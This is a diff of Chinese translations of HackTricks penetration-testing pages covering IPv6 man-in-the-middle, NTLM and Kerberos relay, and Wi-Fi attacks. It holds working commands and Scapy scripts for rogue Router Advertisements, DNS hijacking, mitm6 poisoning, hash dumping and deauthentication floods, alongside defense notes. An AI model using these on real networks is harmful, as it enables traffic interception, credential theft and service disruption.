默认情况下,一些操作系统尝试通过网络中的DHCPv6数据包配置DNS。然后,攻击者可以发送一个DHCPv6数据包,将自己配置为DNS。DHCP还为受害者提供一个IPv6地址。
|
||||
```bash
|
||||
dhcp6.spoof on
|
||||
dhcp6.spoof.domains <list of domains>
|
||||
@ -693,16 +695,16 @@ sslstrip -w /tmp/sslstrip.log --all - l 10000 -f -k
|
||||
iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 10000
|
||||
iptables -A INPUT -p tcp --destination-port 10000 -j ACCEPT
|
||||
```
|
||||
更多信息 [here](https://www.blackhat.com/presentations/bh-dc-09/Marlinspike/BlackHat-DC-09-Marlinspike-Defeating-SSL.pdf)。
|
||||
更多信息 [这里](https://www.blackhat.com/presentations/bh-dc-09/Marlinspike/BlackHat-DC-09-Marlinspike-Defeating-SSL.pdf)。
|
||||
|
||||
### sslStrip+ 和 dns2proxy 绕过 HSTS
|
||||
|
||||
**sslStrip+ 和 dns2proxy** 与 **sslStrip** 的**区别**在于它们会**重定向**例如 _**www.facebook.com**_ **到** _**wwww.facebook.com**_(注意**多了一个**“**w**”),并将**该域名的地址设置为攻击者 IP**。这样,**客户端**将**连接**到 _**wwww.facebook.com**_ **(攻击者)**,但在后台**sslstrip+**将**通过 https 维持**与 **www.facebook.com** 的**真实连接**。
|
||||
**sslStrip+ 和 dns2proxy** 与 **sslStrip** 的**区别**在于它们会**重定向**例如 _**www.facebook.com**_ **到** _**wwww.facebook.com**_(注意**多出的**“**w**”),并将**该域名的地址设置为攻击者 IP**。这样,**客户端**将**连接**到 _**wwww.facebook.com**_ **(攻击者)**,但在后台**sslstrip+**将**通过 https 维持**与 **www.facebook.com** 的**真实连接**。
|
||||
|
||||
此技术的**目标**是**避免 HSTS**,因为 _**wwww**.facebook.com_ **不会**被保存在**浏览器的缓存**中,因此浏览器会被欺骗以**HTTP 进行 Facebook 认证**。\
|
||||
此技术的**目标**是**避免 HSTS**,因为 _**wwww**.facebook.com_ **不会**被保存在**浏览器的缓存**中,因此浏览器会被欺骗以**HTTP**进行**facebook 认证**。\
|
||||
请注意,为了执行此攻击,受害者必须最初尝试访问 [http://www.faceook.com](http://www.faceook.com),而不是 https。这可以通过修改 http 页面中的链接来实现。
|
||||
|
||||
更多信息 [here](https://www.bettercap.org/legacy/#hsts-bypass),[here](https://www.slideshare.net/Fatuo__/offensive-exploiting-dns-servers-changes-blackhat-asia-2014) 和 [here](https://security.stackexchange.com/questions/91092/how-does-bypassing-hsts-with-sslstrip-work-exactly)。
|
||||
更多信息 [这里](https://www.bettercap.org/legacy/#hsts-bypass),[这里](https://www.slideshare.net/Fatuo__/offensive-exploiting-dns-servers-changes-blackhat-asia-2014) 和 [这里](https://security.stackexchange.com/questions/91092/how-does-bypassing-hsts-with-sslstrip-work-exactly)。
|
||||
|
||||
**sslStrip 或 sslStrip+ 不再有效。这是因为浏览器中预先保存了 HSTS 规则,因此即使用户第一次访问“重要”域名,他也会通过 HTTPS 访问。此外,请注意,预先保存的规则和其他生成的规则可以使用标志** [**`includeSubdomains`**](https://hstspreload.appspot.com) **,因此之前的 _**wwww.facebook.com**_ **示例将不再有效,因为** _**facebook.com**_ **使用 HSTS 和 `includeSubdomains`。**
|
||||
|
||||
@ -736,7 +738,7 @@ sudo socat -v -v openssl-listen:443,reuseaddr,fork,cert=$FILENAME.pem,cafile=$FI
|
||||
有时,如果客户端检查CA是否有效,您可以**提供由CA签署的其他主机名的证书**。\
|
||||
另一个有趣的测试是**提供请求的主机名的自签名证书**。
|
||||
|
||||
其他测试内容包括尝试用一个有效的证书签署该证书,但该证书并不是有效的CA。或者使用有效的公钥,强制使用一种算法,如Diffie-Hellman(不需要用真实私钥解密任何内容),当客户端请求真实私钥的探测(如哈希)时,发送一个假探测,并期望客户端不检查这个。
|
||||
其他测试内容包括尝试用一个有效的证书签署该证书,但该证书不是有效的CA。或者使用有效的公钥,强制使用一种算法,如Diffie-Hellman(不需要用真实私钥解密的算法),当客户端请求真实私钥的探测(如哈希)时,发送一个假探测,并期望客户端不检查这个。
|
||||
|
||||
## Bettercap
|
||||
```bash
|
||||
@ -774,7 +776,7 @@ ARP数据包用于发现网络中正在使用的IP。计算机必须为每个可
|
||||
|
||||
### **mDNS(多播DNS)**
|
||||
|
||||
Bettercap每隔X毫秒发送一个MDNS请求,询问**\_services\_.dns-sd.\_udp.local**,看到此数据包的机器通常会回答该请求。然后,它只搜索响应“services”的机器。
|
||||
Bettercap每隔X毫秒发送一个MDNS请求,询问**\_services\_.dns-sd.\_udp.local**,看到此数据包的机器通常会回答此请求。然后,它只搜索回答“services”的机器。
|
||||
|
||||
**工具**
|
||||
|
||||
|
||||
@ -77,20 +77,20 @@ service ufw stop # Stop the firewall
|
||||
ping6 -I <IFACE> ff02::1 # Send a ping to multicast address
|
||||
ip -6 neigh # Display the neighbor table
|
||||
```
|
||||
### IPv6 中间人攻击 (MitM)
|
||||
### IPv6 Man-in-the-Middle (MitM) Attacks
|
||||
|
||||
在 IPv6 网络中执行 MitM 攻击的几种技术包括:
|
||||
在IPv6网络中执行MitM攻击的几种技术包括:
|
||||
|
||||
- 冒充 ICMPv6 邻居或路由器广告。
|
||||
- 使用 ICMPv6 重定向或“数据包过大”消息来操纵路由。
|
||||
- 攻击移动 IPv6(通常需要禁用 IPSec)。
|
||||
- 设置恶意 DHCPv6 服务器。
|
||||
- 冒充ICMPv6邻居或路由器广告。
|
||||
- 使用ICMPv6重定向或“数据包过大”消息来操纵路由。
|
||||
- 攻击移动IPv6(通常需要禁用IPSec)。
|
||||
- 设置恶意DHCPv6服务器。
|
||||
|
||||
## 在现场识别 IPv6 地址
|
||||
## Identifying IPv6 Addresses in the eild
|
||||
|
||||
### 探索子域
|
||||
### Exploring Subdomains
|
||||
|
||||
查找可能与 IPv6 地址相关的子域的方法涉及利用搜索引擎。例如,使用类似 `ipv6.*` 的查询模式可能会有效。具体来说,可以在 Google 中使用以下搜索命令:
|
||||
一种查找可能与IPv6地址相关的子域的方法是利用搜索引擎。例如,使用查询模式`ipv6.*`可能是有效的。具体来说,可以在Google中使用以下搜索命令:
|
||||
```bash
|
||||
site:ipv6./
|
||||
```
|
||||
@ -108,11 +108,11 @@ site:ipv6./
|
||||
|
||||
## IPv6 本地网络攻击技术
|
||||
|
||||
以下部分涵盖可以在 **同一 /64 段内** 执行的实际层 2 IPv6 攻击,而无需知道任何全局前缀。下面显示的所有数据包都是 **链路本地** 的,仅通过本地交换机传输,使它们在大多数环境中极为隐蔽。
|
||||
以下部分涵盖可以在 **同一 /64 段内** 执行的实际层 2 IPv6 攻击,而无需知道任何全局前缀。下面显示的所有数据包都是 **链路本地** 的,仅通过本地交换机传输,使它们在大多数环境中极其隐蔽。
|
||||
|
||||
### 为稳定实验室进行系统调优
|
||||
|
||||
在处理 IPv6 流量之前,建议对您的设备进行加固,以避免被自己的测试所污染,并在大规模数据包注入/嗅探期间获得最佳性能。
|
||||
在玩弄 IPv6 流量之前,建议对您的设备进行加固,以避免被自己的测试所污染,并在大规模数据包注入/嗅探期间获得最佳性能。
|
||||
```bash
|
||||
# Enable promiscuous mode to capture all frames
|
||||
sudo ip link set dev eth0 promisc on
|
||||
@ -221,7 +221,7 @@ ICMPv6NDOptSrcLLAddr(lladdr=args.mac))
|
||||
|
||||
send(ra,iface=args.interface,loop=1,inter=args.interval)
|
||||
```
|
||||
要在赢得竞赛后实际**转发流量**:
|
||||
要在赢得比赛后实际**转发流量**:
|
||||
```bash
|
||||
sudo sysctl -w net.ipv6.conf.all.forwarding=1
|
||||
sudo ip6tables -A FORWARD -i eth0 -j ACCEPT
|
||||
@ -231,7 +231,7 @@ sudo ip6tables -t nat -A POSTROUTING -o eth0 -j MASQUERADE
|
||||
|
||||
| 标志 | 意义 | 对客户端行为的影响 |
|
||||
|------|---------|----------------------------|
|
||||
| **M (管理地址配置)** | 当设置为 `1` 时,主机必须使用 **DHCPv6** 来获取其 IPv6 地址。 | 整个地址来自 DHCPv6 – 非常适合 *mitm6* 风格的中毒。 |
|
||||
| **M (管理地址配置)** | 当设置为 `1` 时,主机必须使用 **DHCPv6** 来获取其 IPv6 地址。 | 整个地址来自 DHCPv6 – 非常适合 *mitm6* 风格的中间人攻击。 |
|
||||
| **O (其他配置)** | 当设置为 `1` 时,主机应仅使用 **DHCPv6** 来获取 *其他* 信息(DNS, NTP, …)。 | 地址仍通过 SLAAC 获取,但 DNS 可以通过 DHCPv6 被劫持。 |
|
||||
| **M=0 / O=0** | 纯 SLAAC 网络。 | 仅可能使用 RA / RDNSS 技巧 – 客户端不会发送 DHCPv6。 |
|
||||
| **M=1 / O=1** | 混合环境。 | 同时使用 DHCPv6 和 SLAAC;欺骗的表面最大。 |
|
||||
@ -247,10 +247,10 @@ sudo tcpdump -vvv -i eth0 'icmp6 && ip6[40] == 134' # capture Router Advertise
|
||||
| Prf 值 | 二进制 | 意义 |
|
||||
|--------|--------|------|
|
||||
| **高** | `10` | 客户端更喜欢这个路由器而不是任何 *中*/*低* 的路由器 |
|
||||
| 中(默认) | `01` | 几乎所有合法设备使用 |
|
||||
| 中(默认) | `01` | 几乎所有合法设备都使用 |
|
||||
| 低 | `00` | 仅在没有更好的路由器时选择 |
|
||||
|
||||
使用 Scapy 生成数据包时,可以通过 `prf` 参数设置,如上所示(`prf=0x1` → 高)。结合 **高 Prf**、**短间隔** 和 **非零生存时间** 使你的恶意网关异常稳定。
|
||||
使用 Scapy 生成数据包时,可以通过 `prf` 参数设置,如上所示(`prf=0x1` → 高)。结合 **高 Prf**、**短间隔** 和 **非零生命周期** 使你的恶意网关异常稳定。
|
||||
|
||||
---
|
||||
|
||||
@ -263,11 +263,12 @@ from scapy.all import *
|
||||
import argparse
|
||||
|
||||
p = argparse.ArgumentParser()
|
||||
p.add_argument('-i','--interface',required=True)
|
||||
p.add_argument('--llip',required=True)
|
||||
p.add_argument('--dns',required=True,help='Fake DNS IPv6')
|
||||
p.add_argument('--lifetime',type=int,default=600)
|
||||
p.add_argument('--interval',type=int,default=5)
|
||||
P = p.add_argument
|
||||
P('-i','--interface',required=True)
|
||||
P('--llip',required=True)
|
||||
P('--dns',required=True,help='Fake DNS IPv6')
|
||||
P('--lifetime',type=int,default=600)
|
||||
P('--interval',type=int,default=5)
|
||||
args = p.parse_args()
|
||||
|
||||
ra = (IPv6(src=args.llip,dst='ff02::1',hlim=255)/
|
||||
@ -276,14 +277,14 @@ ICMPv6NDOptRDNSS(dns=[args.dns],lifetime=args.lifetime))
|
||||
|
||||
send(ra,iface=args.interface,loop=1,inter=args.interval)
|
||||
```
|
||||
客户将**预先添加**您的DNS到其解析器列表中,直到给定的生存时间结束,这将允许完全的DNS劫持,直到值过期或您发送`lifetime=0`还原。
|
||||
客户将**预先添加**您的DNS到其解析器列表中,直到给定的生存时间结束,这将授予完全的DNS劫持,直到值过期或您发送`lifetime=0`还原。
|
||||
|
||||
### DHCPv6 DNS欺骗 (mitm6)
|
||||
|
||||
与SLAAC不同,Windows网络通常依赖于**无状态DHCPv6**进行DNS。[mitm6](https://github.com/rofl0r/mitm6)自动回复`Solicit`消息,使用**Advertise → Reply**流程将**您的链路本地地址分配为DNS,持续300秒**。这解锁了:
|
||||
Windows网络通常依赖于**无状态DHCPv6**进行DNS,而不是SLAAC。[mitm6](https://github.com/rofl0r/mitm6)自动回复`Solicit`消息,使用**广告 → 回复**流程,将**您的链路本地地址分配为DNS,持续300秒**。这解锁了:
|
||||
|
||||
* NTLM中继攻击 (WPAD + DNS劫持)
|
||||
* 拦截内部名称解析而不触碰路由器
|
||||
* NTLM中继攻击(WPAD + DNS劫持)
|
||||
* 拦截内部名称解析而不触及路由器
|
||||
|
||||
典型用法:
|
||||
```bash
|
||||
@ -291,10 +292,55 @@ sudo mitm6 -i eth0 --no-ra # only DHCPv6 poisoning
|
||||
```
|
||||
### 防御
|
||||
|
||||
* **RA Guard / DHCPv6 Guard / ND Inspection** 在管理交换机上。
|
||||
* 仅允许合法路由器的 MAC 发送 RAs 的端口 ACL。
|
||||
* 在管理交换机上使用 **RA Guard / DHCPv6 Guard / ND Inspection**。
|
||||
* 端口 ACL 仅允许合法路由器的 MAC 发送 RAs。
|
||||
* 监控 **不稳定的高频率 RAs** 或突然的 **RDNSS 变化**。
|
||||
* 在端点禁用 IPv6 是一种临时解决方法,通常会破坏现代服务并隐藏盲点 – 更倾向于 L2 过滤。
|
||||
* 在端点禁用 IPv6 是一种临时解决方法,通常会破坏现代服务并隐藏盲点 – 更倾向于使用 L2 过滤。
|
||||
|
||||
### 客户/公共 SSID 上的 NDP 路由器发现和管理服务暴露
|
||||
|
||||
许多消费级路由器在所有接口上暴露管理守护进程(HTTP(S)、SSH/Telnet、TR-069 等)。在某些部署中,“客户/公共”SSID 被桥接到 WAN/核心,并且仅支持 IPv6。即使路由器的 IPv6 在每次启动时都会变化,您仍然可以通过 NDP/ICMPv6 可靠地学习它,然后从客户 SSID 直接连接到管理平面。
|
||||
|
||||
从连接到客户/公共 SSID 的客户端的典型工作流程:
|
||||
|
||||
1) 通过 ICMPv6 路由器请求发现路由器,发送到所有路由器的多播 `ff02::2` 并捕获路由器广告 (RA):
|
||||
```bash
|
||||
# Listen for Router Advertisements (ICMPv6 type 134)
|
||||
sudo tcpdump -vvv -i <IFACE> 'icmp6 and ip6[40]==134'
|
||||
|
||||
# Provoke an RA by sending a Router Solicitation to ff02::2
|
||||
python3 - <<'PY'
|
||||
from scapy.all import *
|
||||
send(IPv6(dst='ff02::2')/ICMPv6ND_RS(), iface='<IFACE>')
|
||||
PY
|
||||
```
|
||||
RA揭示了路由器的链路本地地址,通常还有一个全局地址/前缀。如果只知道链路本地地址,请记住连接必须指定区域索引,例如`ssh -6 admin@[fe80::1%wlan0]`。
|
||||
|
||||
替代方案:如果可用,请使用ndisc6套件:
|
||||
```bash
|
||||
# rdisc6 sends RS and prints RAs in a friendly way
|
||||
rdisc6 <IFACE>
|
||||
```
|
||||
2) 从访客SSID访问通过IPv6暴露的服务:
|
||||
```bash
|
||||
# SSH/Telnet example (replace with discovered address)
|
||||
ssh -6 admin@[2001:db8:abcd::1]
|
||||
# Web UI over IPv6
|
||||
curl -g -6 -k 'http://[2001:db8:abcd::1]/'
|
||||
# Fast IPv6 service sweep
|
||||
nmap -6 -sS -Pn -p 22,23,80,443,7547 [2001:db8:abcd::1]
|
||||
```
|
||||
3) 如果管理外壳通过包装器(例如,tcpdump)提供数据包捕获工具,请检查参数/文件名注入,以允许传递额外的 tcpdump 标志,如 `-G/-W/-z`,以实现后旋转命令执行。请参见:
|
||||
|
||||
{{#ref}}
|
||||
../../linux-hardening/privilege-escalation/wildcards-spare-tricks.md
|
||||
{{#endref}}
|
||||
|
||||
防御/注意事项:
|
||||
|
||||
- 不要将管理绑定到访客/公共桥接;在 SSID 桥接上应用 IPv6 防火墙。
|
||||
- 在可行的情况下,对访客段进行 NDP/RS/RA 的速率限制和过滤。
|
||||
- 对于必须可达的服务,强制实施身份验证/MFA 和强速率限制。
|
||||
|
||||
## 参考文献
|
||||
|
||||
@ -304,5 +350,6 @@ sudo mitm6 -i eth0 --no-ra # only DHCPv6 poisoning
|
||||
- [http://www.firewall.cx/networking-topics/protocols/877-ipv6-subnetting-how-to-subnet-ipv6.html](http://www.firewall.cx/networking-topics/protocols/877-ipv6-subnetting-how-to-subnet-ipv6.html)
|
||||
- [https://www.sans.org/reading-room/whitepapers/detection/complete-guide-ipv6-attack-defense-33904](https://www.sans.org/reading-room/whitepapers/detection/complete-guide-ipv6-attack-defense-33904)
|
||||
- [Practical Guide to IPv6 Attacks in a Local Network](https://habr.com/ru/articles/930526/)
|
||||
- [FiberGateway GR241AG – Full Exploit Chain](https://r0ny.net/FiberGateway-GR241AG-Full-Exploit-Chain/)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
@ -87,13 +87,13 @@ beacon> jobkill 0
|
||||
beacon> rportfwd stop 8445
|
||||
beacon> socks stop
|
||||
```
|
||||
### NTLM 继电攻击的其他工具
|
||||
### 其他 NTLM 中继攻击工具
|
||||
|
||||
- **Metasploit**: 配置代理、本地和远程主机详细信息。
|
||||
- **smbrelayx**: 用于中继 SMB 会话并执行命令或部署后门的 Python 脚本。
|
||||
- **MultiRelay**: Responder 套件中的一个工具,用于中继特定用户或所有用户,执行命令或转储哈希。
|
||||
|
||||
每个工具都可以配置通过 SOCKS 代理操作,如果需要,即使在间接网络访问的情况下也能进行攻击。
|
||||
每个工具都可以配置为通过 SOCKS 代理操作,如果需要,即使在间接网络访问的情况下也能进行攻击。
|
||||
|
||||
### MultiRelay 操作
|
||||
|
||||
@ -138,9 +138,9 @@ python MultiRelay.py -t <IP target> -u ALL -d # Dump hashes
|
||||
* AP-REQ 内的 **Authenticator** 有一个 5 分钟的时间戳;在该窗口内重放有效,直到服务缓存看到重复。
|
||||
* Windows 很少检查票证中的 SPN 字符串是否与您访问的服务匹配,因此 `CIFS/HOST` 的票证通常可以在 `LDAP/HOST` 上正常解密。
|
||||
|
||||
- 2. **中继 Kerberos 的条件**
|
||||
- 2. **中继 Kerberos 必须满足的条件**
|
||||
|
||||
1. **共享密钥:** 源和目标 SPN 属于同一计算机账户(Windows 服务器的默认设置)。
|
||||
1. **共享密钥:** 源和目标 SPN 属于同一计算机账户(Windows 服务器上的默认设置)。
|
||||
2. **无通道保护:** SMB/LDAP 签名关闭,HTTP/LDAPS 的 EPA 关闭。
|
||||
3. **您可以拦截或强制身份验证:** LLMNR/NBNS 中毒,DNS 欺骗,**PetitPotam / DFSCoerce RPC**,伪造 AuthIP,恶意 DCOM 等。
|
||||
4. **票证来源未被使用:** 您在真实数据包到达之前赢得比赛或完全阻止它;否则服务器的重放缓存会触发事件 4649。
|
||||
@ -189,8 +189,8 @@ SCMUACBypass.exe
|
||||
|
||||
| 向量 | 技巧 | 重要性 |
|
||||
|--------|-------|----------------|
|
||||
| **AuthIP / IPSec** | 假服务器发送 **GSS-ID 负载**,带有任何 SPN;客户端直接向您构建 AP-REQ | 即使跨子网也有效;默认情况下机器凭据 |
|
||||
| **DCOM / MSRPC** | 恶意 OXID 解析器强迫客户端对任意 SPN 和端口进行身份验证 | 纯 *本地* 权限提升;绕过防火墙 |
|
||||
| **AuthIP / IPSec** | 假服务器发送带有任意 SPN 的 **GSS-ID 负载**;客户端直接向您构建 AP-REQ | 即使跨子网也有效;默认情况下机器凭据 |
|
||||
| **DCOM / MSRPC** | 恶意 OXID 解析器强制客户端对任意 SPN 和端口进行身份验证 | 纯 *本地* 权限提升;绕过防火墙 |
|
||||
| **AD CS Web Enroll** | 将机器票据中继到 `HTTP/CA` 并获取证书,然后 **PKINIT** 生成 TGT | 绕过 LDAP 签名防御 |
|
||||
| **Shadow Credentials** | 写入 `msDS-KeyCredentialLink`,然后使用伪造的密钥对进行 PKINIT | 无需添加计算机帐户 |
|
||||
|
||||
@ -205,14 +205,14 @@ SCMUACBypass.exe
|
||||
|
||||
### **检测**
|
||||
|
||||
* 在几秒钟内,来自同一来源的 **Event 4769** 激增,针对 `CIFS/`、`HTTP/`、`LDAP/`。
|
||||
* **Event 4769** 的激增,来自同一来源的 `CIFS/`、`HTTP/`、`LDAP/` 在几秒钟内。
|
||||
* 服务上的 **Event 4649** 表示检测到重放。
|
||||
* 来自 **127.0.0.1** 的 Kerberos 登录(中继到本地 SCM)高度可疑—通过 KrbRelayUp 文档中的 Sigma 规则进行映射。
|
||||
* 监视对 `msDS-AllowedToActOnBehalfOfOtherIdentity` 或 `msDS-KeyCredentialLink` 属性的更改。
|
||||
|
||||
## **加固**
|
||||
|
||||
1. 在每台服务器上 **强制 LDAP 和 SMB 签名 + EPA**。
|
||||
1. 在每台服务器上 **强制执行 LDAP 和 SMB 签名 + EPA**。
|
||||
2. **拆分 SPN**,使 HTTP 不与 CIFS/LDAP 在同一帐户上。
|
||||
3. 修补强制向量(PetitPotam KB5005413、DFS、AuthIP)。
|
||||
4. 设置 **`ms-DS-MachineAccountQuota = 0`** 以阻止恶意计算机加入。
|
||||
|
||||
@ -21,6 +21,7 @@ iwlist wlan0 scan #Scan available wifis
|
||||
|
||||
### Hijacker & NexMon (Android 内部 Wi-Fi)
|
||||
|
||||
|
||||
{{#ref}}
|
||||
enable-nexmon-monitor-and-injection-on-android.md
|
||||
{{#endref}}
|
||||
@ -59,41 +60,41 @@ sudo python setup.py install # Install any dependencies
|
||||
```
|
||||
### [Wifite2](https://github.com/derv82/wifite2)
|
||||
|
||||
该工具自动化 **WPS/WEP/WPA-PSK** 攻击。它将自动:
|
||||
该工具自动化**WPS/WEP/WPA-PSK**攻击。它将自动:
|
||||
|
||||
- 设置接口为监控模式
|
||||
- 扫描可能的网络 - 并让您选择受害者
|
||||
- 如果是 WEP - 发起 WEP 攻击
|
||||
- 如果是 WPA-PSK
|
||||
- 如果是 WPS:Pixie dust 攻击和暴力破解攻击(注意,暴力破解攻击可能需要很长时间)。请注意,它不会尝试空 PIN 或数据库/生成的 PIN。
|
||||
- 尝试从 AP 捕获 PMKID 以进行破解
|
||||
- 尝试使 AP 的客户端失去认证以捕获握手
|
||||
- 如果有 PMKID 或握手,尝试使用前5000个密码进行暴力破解。
|
||||
- 如果是WEP - 发起WEP攻击
|
||||
- 如果是WPA-PSK
|
||||
- 如果是WPS:Pixie dust攻击和暴力破解攻击(注意,暴力破解攻击可能需要很长时间)。请注意,它不会尝试空PIN或数据库/生成的PIN。
|
||||
- 尝试从AP捕获PMKID以进行破解
|
||||
- 尝试使AP的客户端失去认证以捕获握手
|
||||
- 如果有PMKID或握手,尝试使用前5000个密码进行暴力破解。
|
||||
|
||||
## 攻击总结
|
||||
|
||||
- **DoS**
|
||||
- 失去认证/解除关联 -- 断开所有人(或特定 ESSID/客户端)
|
||||
- 随机假 AP -- 隐藏网络,可能使扫描器崩溃
|
||||
- 过载 AP -- 尝试杀死 AP(通常不太有用)
|
||||
- WIDS -- 玩弄 IDS
|
||||
- TKIP, EAPOL -- 一些特定攻击以 DoS 某些 AP
|
||||
- 失去认证/解除关联 -- 断开所有人(或特定的ESSID/客户端)
|
||||
- 随机假AP -- 隐藏网络,可能使扫描器崩溃
|
||||
- 过载AP -- 尝试杀死AP(通常不是很有用)
|
||||
- WIDS -- 玩弄IDS
|
||||
- TKIP, EAPOL -- 一些特定的DoS攻击针对某些AP
|
||||
- **破解**
|
||||
- 破解 **WEP**(多种工具和方法)
|
||||
- 破解**WEP**(多种工具和方法)
|
||||
- **WPA-PSK**
|
||||
- **WPS** PIN "暴力破解"
|
||||
- **WPA PMKID** 暴力破解
|
||||
- \[DoS +] **WPA 握手** 捕获 + 破解
|
||||
- \[DoS +] **WPA握手**捕获 + 破解
|
||||
- **WPA-MGT**
|
||||
- **用户名捕获**
|
||||
- **暴力破解** 凭据
|
||||
- **恶意双胞胎**(有或没有 DoS)
|
||||
- **开放** 恶意双胞胎 \[+ DoS] -- 有助于捕获强制门户凭据和/或执行局域网攻击
|
||||
- **WPA-PSK** 恶意双胞胎 -- 如果您知道密码,有助于网络攻击
|
||||
- **WPA-MGT** -- 有助于捕获公司凭据
|
||||
- **暴力破解**凭证
|
||||
- **恶意双胞胎**(有或没有DoS)
|
||||
- **开放**恶意双胞胎 \[+ DoS] -- 有助于捕获强制门户凭证和/或执行局域网攻击
|
||||
- **WPA-PSK**恶意双胞胎 -- 如果您知道密码,对网络攻击很有用
|
||||
- **WPA-MGT** -- 有助于捕获公司凭证
|
||||
- **KARMA, MANA**, **Loud MANA**, **已知信标**
|
||||
- **+ 开放** -- 有助于捕获强制门户凭据和/或执行局域网攻击
|
||||
- **+ WPA** -- 有助于捕获 WPA 握手
|
||||
- **+ 开放** -- 有助于捕获强制门户凭证和/或执行局域网攻击
|
||||
- **+ WPA** -- 有助于捕获WPA握手
|
||||
|
||||
## DOS
|
||||
|
||||
@ -101,9 +102,9 @@ sudo python setup.py install # Install any dependencies
|
||||
|
||||
**来自** [**这里**:](https://null-byte.wonderhowto.com/how-to/use-mdk3-for-advanced-wi-fi-jamming-0185832/)**的描述。**
|
||||
|
||||
**失去认证** 攻击是 Wi-Fi 黑客中一种常见的方法,涉及伪造“管理”帧以 **强制断开设备与网络的连接**。这些未加密的数据包欺骗客户端,使其相信它们来自合法网络,从而使攻击者能够收集 WPA 握手以进行破解或持续干扰网络连接。这种战术因其简单性而令人震惊,广泛使用并对网络安全产生重大影响。
|
||||
**失去认证**攻击是Wi-Fi黑客中一种常见的方法,涉及伪造“管理”帧以**强制断开设备与网络的连接**。这些未加密的数据包欺骗客户端,使其相信它们来自合法网络,从而使攻击者能够收集WPA握手以进行破解或持续干扰网络连接。这种简单的战术广泛使用,对网络安全具有重大影响。
|
||||
|
||||
**使用 Aireplay-ng 进行失去认证**
|
||||
**使用Aireplay-ng进行失去认证**
|
||||
```
|
||||
aireplay-ng -0 0 -a 00:14:6C:7E:40:80 -c 00:0F:B5:34:30:30 ath0
|
||||
```
|
||||
@ -115,9 +116,9 @@ aireplay-ng -0 0 -a 00:14:6C:7E:40:80 -c 00:0F:B5:34:30:30 ath0
|
||||
|
||||
### 断开关联数据包
|
||||
|
||||
**断开关联数据包**,类似于去认证数据包,是在Wi-Fi网络中使用的一种管理帧。这些数据包用于切断设备(如笔记本电脑或智能手机)与接入点(AP)之间的连接。断开关联和去认证之间的主要区别在于它们的使用场景。虽然AP发出**去认证数据包以明确地将流氓设备从网络中移除,但断开关联数据包通常在AP进行关机、重启或移动时发送,从而需要断开所有连接的节点。**
|
||||
**断开关联数据包**,类似于去认证数据包,是在Wi-Fi网络中使用的一种管理帧。这些数据包用于切断设备(如笔记本电脑或智能手机)与接入点(AP)之间的连接。断开关联和去认证之间的主要区别在于它们的使用场景。虽然AP发出**去认证数据包以明确地将恶意设备从网络中移除,但断开关联数据包通常在AP进行关机、重启或移动时发送,从而需要断开所有连接的节点。**
|
||||
|
||||
**此攻击可以通过mdk4(模式"d")执行:**
|
||||
**此攻击可以通过mdk4(模式“d”)执行:**
|
||||
```bash
|
||||
# -c <channel>
|
||||
# -b victim_client_mac.txt contains the MAC address of the device to eliminate
|
||||
@ -132,7 +133,7 @@ mdk4 wlan0mon d -c 5 -b victim_client_mac.txt -E WifiName -B EF:60:69:D7:69:2F
|
||||
|
||||
**攻击模式 b: 信标洪水**
|
||||
|
||||
发送信标帧以在客户端显示虚假 AP。这有时会导致网络扫描仪甚至驱动程序崩溃!
|
||||
发送信标帧以在客户端显示虚假 AP。这有时会使网络扫描仪甚至驱动程序崩溃!
|
||||
```bash
|
||||
# -a Use also non-printable caracters in generated SSIDs and create SSIDs that break the 32-byte limit
|
||||
# -w n (create Open) t (Create WPA/TKIP) a (Create WPA2/AES)
|
||||
@ -154,9 +155,9 @@ mdk4 wlan0mon a [-i EF:60:69:D7:69:2F] [-a EF:60:69:D7:69:2F] -m
|
||||
|
||||
探测接入点 (AP) 检查 SSID 是否正确显示,并确认 AP 的范围。此技术与 **暴力破解隐藏 SSID**(有或没有字典)相结合,有助于识别和访问隐藏网络。
|
||||
|
||||
**攻击模式 m: Michael 对策利用**
|
||||
**攻击模式 m: Michael 反制措施利用**
|
||||
|
||||
向不同的 QoS 队列发送随机或重复的数据包可以触发 **TKIP AP** 上的 Michael 对策,导致 AP 关闭一分钟。此方法是一种有效的 **DoS**(拒绝服务)攻击战术。
|
||||
向不同的 QoS 队列发送随机或重复的数据包可以触发 **TKIP AP** 上的 Michael 反制措施,导致 AP 关闭一分钟。此方法是一种有效的 **DoS**(拒绝服务)攻击战术。
|
||||
```bash
|
||||
# -t <BSSID> of a TKIP AP
|
||||
# -j use inteligent replay to create the DoS
|
||||
@ -169,20 +170,20 @@ mdk4 wlan0mon m -t EF:60:69:D7:69:2F [-j]
|
||||
# Use Logoff messages to kick clients
|
||||
mdk4 wlan0mon e -t EF:60:69:D7:69:2F [-l]
|
||||
```
|
||||
**攻击模式 s: 针对 IEEE 802.11s 网状网络的攻击**
|
||||
**ATTACK MODE s: 针对IEEE 802.11s网状网络的攻击**
|
||||
|
||||
对网状网络中的链路管理和路由的各种攻击。
|
||||
对网状网络中链路管理和路由的各种攻击。
|
||||
|
||||
**攻击模式 w: WIDS 混淆**
|
||||
**ATTACK MODE w: WIDS混淆**
|
||||
|
||||
将客户端交叉连接到多个 WDS 节点或假冒的恶意 AP 可以操纵入侵检测和预防系统,造成混淆和潜在的系统滥用。
|
||||
将客户端交叉连接到多个WDS节点或假冒的恶意AP可以操纵入侵检测和预防系统,造成混淆和潜在的系统滥用。
|
||||
```bash
|
||||
# -z activate Zero_Chaos' WIDS exploit (authenticates clients from a WDS to foreign APs to make WIDS go nuts)
|
||||
mkd4 -e <SSID> -c <channel> [-z]
|
||||
```
|
||||
**攻击模式 f: 数据包模糊器**
|
||||
**攻击模式 f: 数据包模糊测试器**
|
||||
|
||||
一个具有多样数据包来源和全面数据包操作修改器的数据包模糊器。
|
||||
一个具有多样数据包来源和全面数据包操作修改器的数据包模糊测试器。
|
||||
|
||||
### **Airggedon**
|
||||
|
||||
@ -192,14 +193,14 @@ _**Airgeddon**_ 提供了之前评论中提出的大多数攻击:
|
||||
|
||||
## WPS
|
||||
|
||||
WPS (Wi-Fi Protected Setup) 简化了将设备连接到路由器的过程,提高了加密为 **WPA** 或 **WPA2** 个人网络的设置速度和便利性。对于容易被攻破的 WEP 安全性,它是无效的。WPS 使用一个 8 位数字的 PIN,分为两部分进行验证,这使得它由于组合数量有限(11,000 种可能性)而容易受到暴力攻击。
|
||||
